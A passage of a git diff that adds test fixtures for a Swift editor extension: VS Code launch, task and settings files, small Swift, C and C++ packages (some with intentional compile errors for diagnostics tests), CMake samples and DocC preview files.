PackageExe (defaultPackage)", + // Explicitly use "program" to test searching for launch configs by program. + "program": "${workspaceFolder:test}/defaultPackage/.build/debug/PackageExe", + "args": [], + "cwd": "${workspaceFolder:test}/defaultPackage", + "preLaunchTask": "swift: Build Debug PackageExe (defaultPackage)", + "disableASLR": false, + "initCommands": ["settings set target.disable-aslr false"], + }, + { + "type": "swift", + "request": "launch", + "name": "Release PackageExe (defaultPackage)", + // Explicitly use "target" and "configuration" to test searching for launch configs by target. + "target": "PackageExe", + "configuration": "release", + "args": [], + "cwd": "${workspaceFolder:test}/defaultPackage", + "preLaunchTask": "swift: Build Release PackageExe (defaultPackage)", + "disableASLR": false, + "initCommands": ["settings set target.disable-aslr false"], + } + ] +} \ No newline at end of file diff --git a/assets/test/.vscode/settings.json b/assets/test/.vscode/settings.json index 7a73a41bf..4ed70d281 100644 --- a/assets/test/.vscode/settings.json +++ b/assets/test/.vscode/settings.json @@ -1,2 +1,21 @@ { + "swift.disableAutoResolve": true, + "swift.autoGenerateLaunchConfigurations": false, + "swift.debugger.debugAdapter": "lldb-dap", + "swift.debugger.setupCodeLLDB": "never", + "swift.additionalTestArguments": [ + "-Xswiftc", + "-DTEST_ARGUMENT_SET_VIA_TEST_BUILD_ARGUMENTS_SETTING" + ], + "swift.outputChannelLogLevel": "debug", + "lldb.verboseLogging": true, + "lldb.launch.terminal": "external", + "lldb-dap.detachOnError": true, + "swift.sourcekit-lsp.backgroundIndexing": "off", + "swift.excludePathsFromActivation": { + "**/excluded": true + }, + "swift.packageArguments": [ + "--cache-path=${workspaceFolder}${pathSeparator}.spm-cache" + ] } \ No newline at end of file diff --git a/assets/test/.vscode/tasks.json b/assets/test/.vscode/tasks.json index 4f82ca8bd..e309bd7a0 100644 --- a/assets/test/.vscode/tasks.json +++ b/assets/test/.vscode/tasks.json @@ -3,19 +3,48 @@ "tasks": [ { "type": "swift", - "command": "", "args": [ "build", "--build-tests", - "--verbose" + "--verbose", + "-Xswiftc", + "-DFOO" ], - "cwd": "", + "cwd": "defaultPackage", "problemMatcher": [ "$swiftc" ], "group": "build", - "label": "swift: Build All (package2)", - "detail": "swift build --build-tests --verbose" + "label": "swift: Build All (defaultPackage)", + "detail": "swift build --build-tests --verbose -Xswiftc -DFOO" + }, + { + "type": "swift", + "args": [ + "build", + "--show-bin-path" + ], + "cwd": "defaultPackage", + "problemMatcher": [ + "$swiftc" + ], + "group": "build", + "label": "swift: Build All from tasks.json", + "detail": "swift build --show-bin-path" + }, + { + "type": "swift-plugin", + "command": "command_plugin", + "args": [ + "--foo" + ], + "cwd": "command-plugin", + "disableSandbox": true, + "problemMatcher": [ + "$swiftc" + ], + "label": "swift: command-plugin from tasks.json", + "detail": "swift package command_plugin --foo" } ] } \ No newline at end of file diff --git a/assets/test/ModularPackage/Module1/Package.swift b/assets/test/ModularPackage/Module1/Package.swift new file mode 100644 index 000000000..871dbc947 --- /dev/null +++ b/assets/test/ModularPackage/Module1/Package.swift @@ -0,0 +1,23 @@ +// swift-tools-version:6.0 + +import PackageDescription + +internal let package = Package( + name: "Module1", + products: [ + .executable(name: "Module1Demo", targets: ["Module1Demo"]), + ], + targets: [ + .testTarget( + name: "Module1Tests", + dependencies: ["Module1"] + ), + .executableTarget( + name: "Module1Demo", + dependencies: ["Module1"] + ), + .target( + name: "Module1" + ), + ] +) diff --git a/assets/test/ModularPackage/Module1/Sources/Module1/Module1.swift b/assets/test/ModularPackage/Module1/Sources/Module1/Module1.swift new file mode 100644 index 000000000..32c3e62fa --- /dev/null +++ b/assets/test/ModularPackage/Module1/Sources/Module1/Module1.swift @@ -0,0 +1,7 @@ +public struct Module1 { + public init() {} + + public func add(_ x: Int, _ y: Int) -> Int { + x + y + } +} \ No newline at end of file diff --git a/assets/test/ModularPackage/Module1/Sources/Module1Demo/Module1Demo.swift b/assets/test/ModularPackage/Module1/Sources/Module1Demo/Module1Demo.swift new file mode 100644 index 000000000..941beed71 --- /dev/null +++ b/assets/test/ModularPackage/Module1/Sources/Module1Demo/Module1Demo.swift @@ -0,0 +1,11 @@ +import Module1 + +private let module = Module1() + +@MainActor +func check(_ x: Int, _ y: Int) { + print(module.add(x, y)) +} + +check(1, 2) +check(2, 3) diff --git a/assets/test/ModularPackage/Module1/Tests/Module1Tests.swift b/assets/test/ModularPackage/Module1/Tests/Module1Tests.swift new file mode 100644 index 000000000..e7df7b33c --- /dev/null +++ b/assets/test/ModularPackage/Module1/Tests/Module1Tests.swift @@ -0,0 +1,20 @@ +import XCTest +@testable import Module1 + +internal final class Module1Tests: XCTestCase { + private var sut: Module1! + + override internal func setUp() { + super.setUp() + sut = .init() + } + + override internal func tearDown() { + sut = nil + super.tearDown() + } + + internal func test_add_with1And2_shouldReturn3() { + XCTAssertEqual(sut.add(1, 2), 3) + } +} \ No newline at end of file diff --git a/assets/test/ModularPackage/Module2/Package.swift b/assets/test/ModularPackage/Module2/Package.swift new file mode 100644 index 000000000..9ccde0e86 --- /dev/null +++ b/assets/test/ModularPackage/Module2/Package.swift @@ -0,0 +1,23 @@ +// swift-tools-version:6.0 + +import PackageDescription + +internal let package = Package( + name: "Module2", + products: [ + .executable(name: "Module2Demo", targets: ["Module2Demo"]), + ], + targets: [ + .testTarget( + name: "Module2Tests", + dependencies: ["Module2"] + ), + .executableTarget( + name: "Module2Demo", + dependencies: ["Module2"] + ), + .target( + name: "Module2" + ), + ] +) diff --git a/assets/test/ModularPackage/Module2/Sources/Module2/Module2.swift b/assets/test/ModularPackage/Module2/Sources/Module2/Module2.swift new file mode 100644 index 000000000..07541013e --- /dev/null +++ b/assets/test/ModularPackage/Module2/Sources/Module2/Module2.swift @@ -0,0 +1,7 @@ +public struct Module2 { + public init() {} + + public func subtract(_ x: Int, _ y: Int) -> Int { + x - y + } +} \ No newline at end of file diff --git a/assets/test/ModularPackage/Module2/Sources/Module2Demo/main.swift b/assets/test/ModularPackage/Module2/Sources/Module2Demo/main.swift new file mode 100644 index 000000000..6d33bf22a --- /dev/null +++ b/assets/test/ModularPackage/Module2/Sources/Module2Demo/main.swift @@ -0,0 +1,11 @@ +import Module2 + +private let module = Module2() + +@MainActor +func check(_ x: Int, _ y: Int) { + print(module.subtract(x, y)) +} + +check(1, 2) +check(2, 3) diff --git a/assets/test/ModularPackage/Module2/Tests/Module2Tests.swift b/assets/test/ModularPackage/Module2/Tests/Module2Tests.swift new file mode 100644 index 000000000..795376105 --- /dev/null +++ b/assets/test/ModularPackage/Module2/Tests/Module2Tests.swift @@ -0,0 +1,20 @@ +import XCTest +@testable import Module2 + +internal final class Module2Tests: XCTestCase { + private var sut: Module2! + + override internal func setUp() { + super.setUp() + sut = .init() + } + + override internal func tearDown() { + sut = nil + super.tearDown() + } + + internal func test_add_with5And2_shouldReturn3() { + XCTAssertEqual(sut.subtract(5, 2), 3) + } +} \ No newline at end of file diff --git a/assets/test/ModularPackage/Package.swift b/assets/test/ModularPackage/Package.swift new file mode 100644 index 000000000..c8af6a378 --- /dev/null +++ b/assets/test/ModularPackage/Package.swift @@ -0,0 +1,11 @@ +// swift-tools-version:6.0 + +import PackageDescription + +internal let package = Package( + name: "ModularPackage", + dependencies: [ + .package(path: "Module1"), + .package(path: "Module2"), + ] +) diff --git a/assets/test/Swift-Markdown/Package.swift b/assets/test/Swift-Markdown/Package.swift new file mode 100644 index 000000000..d52ea010b --- /dev/null +++ b/assets/test/Swift-Markdown/Package.swift @@ -0,0 +1,24 @@ +// swift-tools-version:5.6 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + // FIXME: Can be changed back to Swift-Markdown when + // https://github.com/swiftlang/swift-package-manager/issues/7931 + // is released in the toolchain + // NB: The name here needs to match the name of the dependencies under assets/test/dependencies/Package.swift + name: "swift-markdown", + products: [ + // Products define the executables and libraries a package produces, making them visible to other packages. + .library( + name: "MarkdownLib", + targets: ["MarkdownLib"]), + ], + targets: [ + .target( + name: "MarkdownLib", + dependencies: [] + ), + ] +) diff --git a/assets/test/Swift-Markdown/Sources/MarkdownLib/MarkdownLib.swift b/assets/test/Swift-Markdown/Sources/MarkdownLib/MarkdownLib.swift new file mode 100644 index 000000000..ad0a342ba --- /dev/null +++ b/assets/test/Swift-Markdown/Sources/MarkdownLib/MarkdownLib.swift @@ -0,0 +1 @@ +public let a = "B" diff --git a/assets/test/cmake-compile-flags/CMakeLists.txt b/assets/test/cmake-compile-flags/CMakeLists.txt new file mode 100644 index 000000000..a8b35d019 --- /dev/null +++ b/assets/test/cmake-compile-flags/CMakeLists.txt @@ -0,0 +1,5 @@ +cmake_minimum_required(VERSION 2.4) + +project(hello_world) + +add_executable(app main.cpp) \ No newline at end of file diff --git a/assets/test/cmake-compile-flags/compile_flags.txt b/assets/test/cmake-compile-flags/compile_flags.txt new file mode 100644 index 000000000..af1c2d2a9 --- /dev/null +++ b/assets/test/cmake-compile-flags/compile_flags.txt @@ -0,0 +1,8 @@ +/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/c++ +-isysroot +/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk +-mmacosx-version-min=13.0 +-o +CMakeFiles/app.dir/main.o +-c +main.cpp \ No newline at end of file diff --git a/assets/test/cmake-compile-flags/main.cpp b/assets/test/cmake-compile-flags/main.cpp new file mode 100644 index 000000000..e52a3fb1e --- /dev/null +++ b/assets/test/cmake-compile-flags/main.cpp @@ -0,0 +1,7 @@ +#include + +int main() +{ + std::cout << "Hello World!\n"; + return 0; +} \ No newline at end of file diff --git a/assets/test/cmake/CMakeLists.txt b/assets/test/cmake/CMakeLists.txt new file mode 100644 index 000000000..a8b35d019 --- /dev/null +++ b/assets/test/cmake/CMakeLists.txt @@ -0,0 +1,5 @@ +cmake_minimum_required(VERSION 2.4) + +project(hello_world) + +add_executable(app main.cpp) \ No newline at end of file diff --git a/assets/test/cmake/compile_commands.json b/assets/test/cmake/compile_commands.json new file mode 100644 index 000000000..0ef2f4f83 --- /dev/null +++ b/assets/test/cmake/compile_commands.json @@ -0,0 +1,7 @@ +[ + { + "directory": ".", + "command": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/c++ -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk -mmacosx-version-min=13.0 -o CMakeFiles/app.dir/main.o -c main.cpp", + "file": "main.cpp" + } +] \ No newline at end of file diff --git a/assets/test/cmake/main.cpp b/assets/test/cmake/main.cpp new file mode 100644 index 000000000..e52a3fb1e --- /dev/null +++ b/assets/test/cmake/main.cpp @@ -0,0 +1,7 @@ +#include + +int main() +{ + std::cout << "Hello World!\n"; + return 0; +} \ No newline at end of file diff --git a/assets/test/command-plugin/Package.swift b/assets/test/command-plugin/Package.swift new file mode 100644 index 000000000..e323ca03c --- /dev/null +++ b/assets/test/command-plugin/Package.swift @@ -0,0 +1,25 @@ +// swift-tools-version: 5.6 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "command-plugin", + products: [ + // Products can be used to vend plugins, making them visible to other packages. + .plugin( + name: "command-plugin", + targets: ["command-plugin"]), + ], + targets: [ + // Targets are the basic building blocks of a package, defining a module or a test suite. + // Targets can depend on other targets in this package and products from dependencies. + .plugin( + name: "command-plugin", + capability: .command(intent: .custom( + verb: "command_plugin", + description: "prints hello world" + )) + ), + ] +) diff --git a/assets/test/command-plugin/Plugins/command-plugin/command-plugin.swift b/assets/test/command-plugin/Plugins/command-plugin/command-plugin.swift new file mode 100644 index 000000000..d405bb2ae --- /dev/null +++ b/assets/test/command-plugin/Plugins/command-plugin/command-plugin.swift @@ -0,0 +1,21 @@ +import PackagePlugin + +@main +struct command_plugin: CommandPlugin { + // Entry point for command plugins applied to Swift Packages. + func performCommand(context: PluginContext, arguments: [String]) async throws { + print("Hello, World!") + } +} + +#if canImport(XcodeProjectPlugin) +import XcodeProjectPlugin + +extension command_plugin: XcodeCommandPlugin { + // Entry point for command plugins applied to Xcode projects. + func performCommand(context: XcodePluginContext, arguments: [String]) throws { + print("Hello, World!") + } +} + +#endif diff --git a/assets/test/defaultPackage/.vscode/launch.json b/assets/test/defaultPackage/.vscode/launch.json new file mode 100644 index 000000000..a2ecfe301 --- /dev/null +++ b/assets/test/defaultPackage/.vscode/launch.json @@ -0,0 +1,22 @@ +{ + "configurations": [ + { + "type": "swift", + "request": "launch", + "name": "Debug package1", + "program": "${workspaceFolder:defaultPackage}/.build/debug/package1", + "args": [], + "cwd": "${workspaceFolder:defaultPackage}", + "preLaunchTask": "swift: Build Debug package1" + }, + { + "type": "swift", + "request": "launch", + "name": "Release package1", + "program": "${workspaceFolder:defaultPackage}/.build/release/package1", + "args": [], + "cwd": "${workspaceFolder:defaultPackage}", + "preLaunchTask": "swift: Build Release package1" + } + ] +} diff --git a/assets/test/defaultPackage/Package.swift b/assets/test/defaultPackage/Package.swift new file mode 100644 index 000000000..9ff9be8dd --- /dev/null +++ b/assets/test/defaultPackage/Package.swift @@ -0,0 +1,32 @@ +// swift-tools-version:5.4 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "defaultPackage", + products: [ + .library( + name: "PackageLib", + targets: ["PackageLib"]), + .library( + name: "PackageLib2", + type: .dynamic, + targets: ["PackageLib"]), + ], + targets: [ + // Targets are the basic building blocks of a package. A target can define a module or a test suite. + // Targets can depend on other targets in this package, and on products in packages this package depends on. + .executableTarget( + name: "PackageExe", + dependencies: ["PackageLib"] + ), + .target( + name: "PackageLib", + dependencies: [] + ), + .testTarget( + name: "PackageTests", + dependencies: ["PackageLib"]), + ] +) diff --git a/assets/test/defaultPackage/Package@swift-6.0.swift b/assets/test/defaultPackage/Package@swift-6.0.swift new file mode 100644 index 000000000..2d84fcf9c --- /dev/null +++ b/assets/test/defaultPackage/Package@swift-6.0.swift @@ -0,0 +1,36 @@ +// swift-tools-version:6.0 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "defaultPackage", + platforms: [ + .macOS(.v13) + ], + products: [ + .library( + name: "PackageLib", + targets: ["PackageLib"]), + .library( + name: "PackageLib2", + type: .dynamic, + targets: ["PackageLib"]), + ], + targets: [ + // Targets are the basic building blocks of a package. A target can define a module or a test suite. + // Targets can depend on other targets in this package, and on products in packages this package depends on. + .executableTarget( + name: "PackageExe", + dependencies: ["PackageLib"] + ), + .target( + name: "PackageLib", + dependencies: [] + ), + .testTarget( + name: "PackageTests", + dependencies: ["PackageLib"] + ), + ] +) diff --git a/assets/test/defaultPackage/Snippets/hello.swift b/assets/test/defaultPackage/Snippets/hello.swift new file mode 100644 index 000000000..98cb0a220 --- /dev/null +++ b/assets/test/defaultPackage/Snippets/hello.swift @@ -0,0 +1,3 @@ +import PackageLib + +print("hello \(a)") \ No newline at end of file diff --git a/assets/test/defaultPackage/Sources/PackageExe/main.swift b/assets/test/defaultPackage/Sources/PackageExe/main.swift new file mode 100644 index 000000000..d29c3a207 --- /dev/null +++ b/assets/test/defaultPackage/Sources/PackageExe/main.swift @@ -0,0 +1,3 @@ +import PackageLib + +print(a) diff --git a/assets/test/defaultPackage/Sources/PackageLib/PackageLib.swift b/assets/test/defaultPackage/Sources/PackageLib/PackageLib.swift new file mode 100644 index 000000000..ad0a342ba --- /dev/null +++ b/assets/test/defaultPackage/Sources/PackageLib/PackageLib.swift @@ -0,0 +1 @@ +public let a = "B" diff --git a/assets/test/defaultPackage/Tests/PackageTests/PackageTests.swift b/assets/test/defaultPackage/Tests/PackageTests/PackageTests.swift new file mode 100644 index 000000000..555c3c6e2 --- /dev/null +++ b/assets/test/defaultPackage/Tests/PackageTests/PackageTests.swift @@ -0,0 +1,130 @@ +import PackageLib +import XCTest + +final class PassingXCTestSuite: XCTestCase { + func testPassing() throws { + #if !TEST_ARGUMENT_SET_VIA_TEST_BUILD_ARGUMENTS_SETTING + XCTFail("Expected TEST_ARGUMENT_SET_VIA_TEST_BUILD_ARGUMENTS_SETTING to be set at compilation") + #endif + } +} + +// Should not run when PassingXCTestSuite is run. +final class PassingXCTestSuite2: XCTestCase { + func testPassing() throws {} +} + +final class FailingXCTestSuite: XCTestCase { + func testFailing() throws { + XCTFail("oh no") + } +} + +final class MixedXCTestSuite: XCTestCase { + func testPassing() throws {} + + func testFailing() throws { + XCTFail("oh no") + } +} + +final class DebugReleaseTestSuite: XCTestCase { + func testRelease() throws { + #if DEBUG + XCTFail("Test was run in debug mode.") + #endif + } + + func testDebug() throws { + #if RELEASE + XCTFail("Test was run in release mode.") + #endif + } +} + +#if swift(>=6.0) +import Testing + +@Test func topLevelTestPassing() { + print("A print statement in a test.") + #if !TEST_ARGUMENT_SET_VIA_TEST_BUILD_ARGUMENTS_SETTING + Issue.record("Expected TEST_ARGUMENT_SET_VIA_TEST_BUILD_ARGUMENTS_SETTING to be set at compilation") + #endif +} + +@Test func topLevelTestFailing() { + #expect(1 == 2) +} + +@Test(arguments: [1, 2, 3]) +func parameterizedTest(_ arg: Int) { + #expect(arg != 2) +} + +@Test func testRelease() throws { + #if DEBUG + Issue.record("Test was run in debug mode.") + #endif +} + +@Test func testDebug() throws { + #if RELEASE + Issue.record("Test was run in release mode.") + #endif +} + +@Suite +struct MixedSwiftTestingSuite { + @Test + func testPassing() throws {} + + @Test + func testFailing() throws { + #expect(1 == 2) + } + + @Test(.disabled()) func testDisabled() {} +} + +@Test func testWithKnownIssue() throws { + withKnownIssue { + #expect(1 == 2) + } +} + +@Test func testWithKnownIssueAndUnknownIssue() throws { + withKnownIssue { + #expect(1 == 2) + } + #expect(2 == 3) +} + +@Test func testLotsOfOutput() { + var string = "" + for i in 1...100_000 { + string += "\(i)\n" + } + print(string) +} + +@Test func testCrashing() throws { + print([1,2][3]) +} + +// Disabled until Attachments are formalized and released. +// #if swift(>=6.1) +// @Test func testAttachment() throws { +// Attachment("Hello, world!", named: "hello.txt").attach() +// } +#endif + +final class DuplicateSuffixTests: XCTestCase { + func testPassing() throws {} + func testPassingSuffix() throws {} +} + +final class CrashingXCTests: XCTestCase { + func testCrashing() throws { + print([1,2][3]) + } +} diff --git a/assets/test/dependencies/Package.swift b/assets/test/dependencies/Package.swift new file mode 100644 index 000000000..6d89c78af --- /dev/null +++ b/assets/test/dependencies/Package.swift @@ -0,0 +1,18 @@ +// swift-tools-version:5.6 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "dependencies", + dependencies: [ + .package(url: "https://github.com/swiftlang/swift-markdown.git", exact: "0.6.0"), + .package(path: "../defaultPackage"), + ], + targets: [ + .executableTarget( + name: "dependencies", + dependencies: [.product(name: "Markdown", package: "swift-markdown")], + path: "Sources"), + ] +) diff --git a/assets/test/dependencies/Sources/main.swift b/assets/test/dependencies/Sources/main.swift new file mode 100644 index 000000000..1581c5f07 --- /dev/null +++ b/assets/test/dependencies/Sources/main.swift @@ -0,0 +1,4 @@ +import Markdown + +print("Test Asset:(dependencies)") +print(a) \ No newline at end of file diff --git a/assets/test/diagnostics/.vscode/launch.json b/assets/test/diagnostics/.vscode/launch.json new file mode 100644 index 000000000..e86c37d2e --- /dev/null +++ b/assets/test/diagnostics/.vscode/launch.json @@ -0,0 +1,40 @@ +{ + "configurations": [ + { + "type": "swift", + "request": "launch", + "args": [], + "cwd": "${workspaceFolder:diagnostics}", + "name": "Debug diagnostics", + "program": "${workspaceFolder:diagnostics}/.build/debug/diagnostics", + "preLaunchTask": "swift: Build Debug diagnostics" + }, + { + "type": "swift", + "request": "launch", + "args": [], + "cwd": "${workspaceFolder:diagnostics}", + "name": "Release diagnostics", + "program": "${workspaceFolder:diagnostics}/.build/release/diagnostics", + "preLaunchTask": "swift: Build Release diagnostics" + }, + { + "type": "swift", + "request": "launch", + "args": [], + "cwd": "${workspaceFolder:diagnostics}", + "name": "Debug diagnostics", + "program": "${workspaceFolder:diagnostics}/.build/debug/diagnostics", + "preLaunchTask": "swift: Build Debug diagnostics" + }, + { + "type": "swift", + "request": "launch", + "args": [], + "cwd": "${workspaceFolder:diagnostics}", + "name": "Release diagnostics", + "program": "${workspaceFolder:diagnostics}/.build/release/diagnostics", + "preLaunchTask": "swift: Build Release diagnostics" + } + ] +} \ No newline at end of file diff --git a/assets/test/diagnostics/Package.swift b/assets/test/diagnostics/Package.swift new file mode 100644 index 000000000..4fee9a90a --- /dev/null +++ b/assets/test/diagnostics/Package.swift @@ -0,0 +1,17 @@ +// swift-tools-version: 5.6 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "diagnostics", + dependencies: [], + targets: [ + // Targets are the basic building blocks of a package, defining a module or a test suite. + // Targets can depend on other targets in this package and products from dependencies. + .executableTarget( + name: "diagnostics", + dependencies: [], + path: "Sources"), + ] +) \ No newline at end of file diff --git a/assets/test/diagnostics/Sources/func in here.swift b/assets/test/diagnostics/Sources/func in here.swift new file mode 100644 index 000000000..2933720e7 --- /dev/null +++ b/assets/test/diagnostics/Sources/func in here.swift @@ -0,0 +1,3 @@ +func error() { + baz + 1 +} diff --git a/assets/test/diagnostics/Sources/main.swift b/assets/test/diagnostics/Sources/main.swift new file mode 100644 index 000000000..4afe9078d --- /dev/null +++ b/assets/test/diagnostics/Sources/main.swift @@ -0,0 +1,21 @@ +func myFunc() -> Int { + var unused = "hello" + return 1 +} + +let foo = myFunc() +let bar = 2 +bar = 3 +var line: String? +repeat { + print("Enter a string: ", terminator: "") + line = readLine() + print(line ?? "nil") +} while line != nil; + +let dictionary: [String: String] = [] + +#if canImport(Testing) +import Testing +#expect(try myFunc() != 0) +#endif \ No newline at end of file diff --git a/assets/test/diagnosticsC/Package.swift b/assets/test/diagnosticsC/Package.swift new file mode 100644 index 000000000..396b1cdd4 --- /dev/null +++ b/assets/test/diagnosticsC/Package.swift @@ -0,0 +1,12 @@ +// swift-tools-version:5.6 +import PackageDescription + +let package = Package( + name: "MyPoint", + products: [ + .library(name: "MyPoint", targets: ["MyPoint"]), + ], + targets: [ + .target(name: "MyPoint"), + ] +) \ No newline at end of file diff --git a/assets/test/diagnosticsC/Sources/MyPoint/MyPoint.c b/assets/test/diagnosticsC/Sources/MyPoint/MyPoint.c new file mode 100644 index 000000000..3db872d69 --- /dev/null +++ b/assets/test/diagnosticsC/Sources/MyPoint/MyPoint.c @@ -0,0 +1,9 @@ +#include "MyPoint.h" + +int func() { + struct MyPoint p; + p.x = 1; + p.y = bar; + p.z = 2 + return p.x; +} \ No newline at end of file diff --git a/assets/test/diagnosticsC/Sources/MyPoint/include/MyPoint.h b/assets/test/diagnosticsC/Sources/MyPoint/include/MyPoint.h new file mode 100644 index 000000000..c975e5f90 --- /dev/null +++ b/assets/test/diagnosticsC/Sources/MyPoint/include/MyPoint.h @@ -0,0 +1,4 @@ +struct MyPoint { + int x; + int y; +}; \ No newline at end of file diff --git a/assets/test/diagnosticsCpp/Package.swift b/assets/test/diagnosticsCpp/Package.swift new file mode 100644 index 000000000..396b1cdd4 --- /dev/null +++ b/assets/test/diagnosticsCpp/Package.swift @@ -0,0 +1,12 @@ +// swift-tools-version:5.6 +import PackageDescription + +let package = Package( + name: "MyPoint", + products: [ + .library(name: "MyPoint", targets: ["MyPoint"]), + ], + targets: [ + .target(name: "MyPoint"), + ] +) \ No newline at end of file diff --git a/assets/test/diagnosticsCpp/Sources/MyPoint/MyPoint.cpp b/assets/test/diagnosticsCpp/Sources/MyPoint/MyPoint.cpp new file mode 100644 index 000000000..c476ba42d --- /dev/null +++ b/assets/test/diagnosticsCpp/Sources/MyPoint/MyPoint.cpp @@ -0,0 +1,13 @@ +#include "MyPoint.h" + +int func() { + MyPoint* p = new MyPoint2(); + p->x = 1; + p->y = bar; + p.z = 2 + return p.x; +} + +int main() { + return; +} diff --git a/assets/test/diagnosticsCpp/Sources/MyPoint/include/MyPoint.h b/assets/test/diagnosticsCpp/Sources/MyPoint/include/MyPoint.h new file mode 100644 index 000000000..d9dc60267 --- /dev/null +++ b/assets/test/diagnosticsCpp/Sources/MyPoint/include/MyPoint.h @@ -0,0 +1,5 @@ +class MyPoint { + public: + int x; + int y; +}; \ No newline at end of file diff --git a/assets/test/documentation-live-preview/Package.swift b/assets/test/documentation-live-preview/Package.swift new file mode 100644 index 000000000..82f5c8a15 --- /dev/null +++ b/assets/test/documentation-live-preview/Package.swift @@ -0,0 +1,20 @@ +// swift-tools-version: 6.1 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "documentation-live-preview", + products: [ + // Products define the executables and libraries a package produces, making them visible to other packages. + .library( + name: "Library", + targets: ["Library"]), + ], + targets: [ + // Targets are the basic building blocks of a package, defining a module or a test suite. + // Targets can depend on other targets in this package and products from dependencies. + .target( + name: "Library"), + ] +) diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.docc/GettingStarted.md b/assets/test/documentation-live-preview/Sources/Library/Library.docc/GettingStarted.md new file mode 100644 index 000000000..0de13a7cf --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.docc/GettingStarted.md @@ -0,0 +1,3 @@ +# Getting Started + +This is the getting started page. \ No newline at end of file diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.docc/Tutorial.tutorial b/assets/test/documentation-live-preview/Sources/Library/Library.docc/Tutorial.tutorial new file mode 100644 index 000000000..00f6ffb13 --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.docc/Tutorial.tutorial @@ -0,0 +1,5 @@ +@Tutorial(time: 30) { + @Intro(title: "Library") { + Library Tutorial + } +} diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.docc/TutorialOverview.tutorial b/assets/test/documentation-live-preview/Sources/Library/Library.docc/TutorialOverview.tutorial new file mode 100644 index 000000000..3cef7bbde --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.docc/TutorialOverview.tutorial @@ -0,0 +1,5 @@ +@Tutorials(name: "SlothCreator") { + @Intro(title: "Meet Library") { + Library Tutorial Overview + } +} diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.swift b/assets/test/documentation-live-preview/Sources/Library/Library.swift new file mode 100644 index 000000000..2f9e68f77 --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.swift @@ -0,0 +1,16 @@ +// The Swift Programming Language +// https://docs.swift.org/swift-book + +/// The entry point for this arbitrary library. +/// +/// Used for testing the Documentation Live Preview. +public struct EntryPoint { + /// The name of this EntryPoint + public let name: String + + /// Creates a new EntryPoint + /// - Parameter name: the name of this entry point + public init(name: String) { + self.name = name + } +} \ No newline at end of file diff --git a/assets/test/documentation-live-preview/UnsupportedFile.txt b/assets/test/documentation-live-preview/UnsupportedFile.txt new file mode 100644 index 000000000..c18a55cae --- /dev/null +++ b/assets/test/documentation-live-preview/UnsupportedFile.txt @@ -0,0 +1 @@ +Used to test Live Preview with an unsupported file. \ No newline at end of file diff --git a/assets/test/excluded/Package.swift b/assets/test/excluded/Package.swift new file mode 100644 index 000000000..96bc3519e --- /dev/null +++ b/assets/test/excluded/Package.swift @@ -0,0 +1,15 @@ +// swift-tools-version: 5.6 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "excluded", + products: [ + .library(name: "excluded", targets: ["excluded"]), + ], + dependencies: [], + targets: [ + .target(name: "excluded"), + ] +) diff --git a/assets/test/excluded/Sources/excluded/excluded.swift b/assets/test/excluded/Sources/excluded/excluded.swift new file mode 100644 index 000000000..d31c717c5 --- /dev/null +++ b/assets/test/excluded/Sources/excluded/excluded.swift @@ -0,0 +1,6 @@ +public struct excluded { + public private(set) var text = "Hello, World!" + + public init() { + } +} diff --git a/assets/test/identity-case/Package.resolved b/assets/test/identity-case/Package.resolved new file mode 100644 index 000000000..b54c36d32 --- /dev/null +++ b/assets/test/identity-case/Package.resolved @@ -0,0 +1,16 @@ +{ + "object": { + "pins": [ + { + "package": "Yams", + "repositoryURL": "https://github.com/jpsim/Yams.git", + "state": { + "branch": null, + "revision": "01835dc202670b5bb90d07f3eae41867e9ed29f6", + "version": "5.0.1" + } + } + ] + }, + "version": 1 +} diff --git a/assets/test/identity-case/Package.swift b/assets/test/identity-case/Package.swift new file mode 100644 index 000000000..de706febb --- /dev/null +++ b/assets/test/identity-case/Package.swift @@ -0,0 +1,25 @@ +// swift-tools-version:5.4 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "identity-case", + products: [ + // Products define the executables and libraries a package produces, and make them visible to other packages. + .library( + name: "identity-case", + targets: ["identity-case"]), + ], + dependencies: [ + // Dependencies declare other packages that this package depends on. + .package(url: "https://github.com/jpsim/Yams.git", from: "5.0.0"), + ], + targets: [ + // Targets are the basic building blocks of a package. A target can define a module or a test suite. + // Targets can depend on other targets in this package, and on products in packages this package depends on. + .target( + name: "identity-case", + dependencies: ["Yams"]), + ] +) diff --git a/assets/test/identity-case/Sources/identity-case/identity_case.swift b/assets/test/identity-case/Sources/identity-case/identity_case.swift new file mode 100644 index 000000000..4061e9b23 --- /dev/null +++ b/assets/test/identity-case/Sources/identity-case/identity_case.swift @@ -0,0 +1,6 @@ +public struct identity_case { + public private(set) var text = "Hello, World!" + + public init() { + } +} diff --git a/assets/test/identity-different/Package.resolved b/assets/test/identity-different/Package.resolved new file mode 100644 index 000000000..0b7133f7d --- /dev/null +++ b/assets/test/identity-different/Package.resolved @@ -0,0 +1,16 @@ +{ + "object": { + "pins": [ + { + "package": "swift-log", + "repositoryURL": "https://github.com/apple/swift-log.git", + "state": { + "branch": null, + "revision": 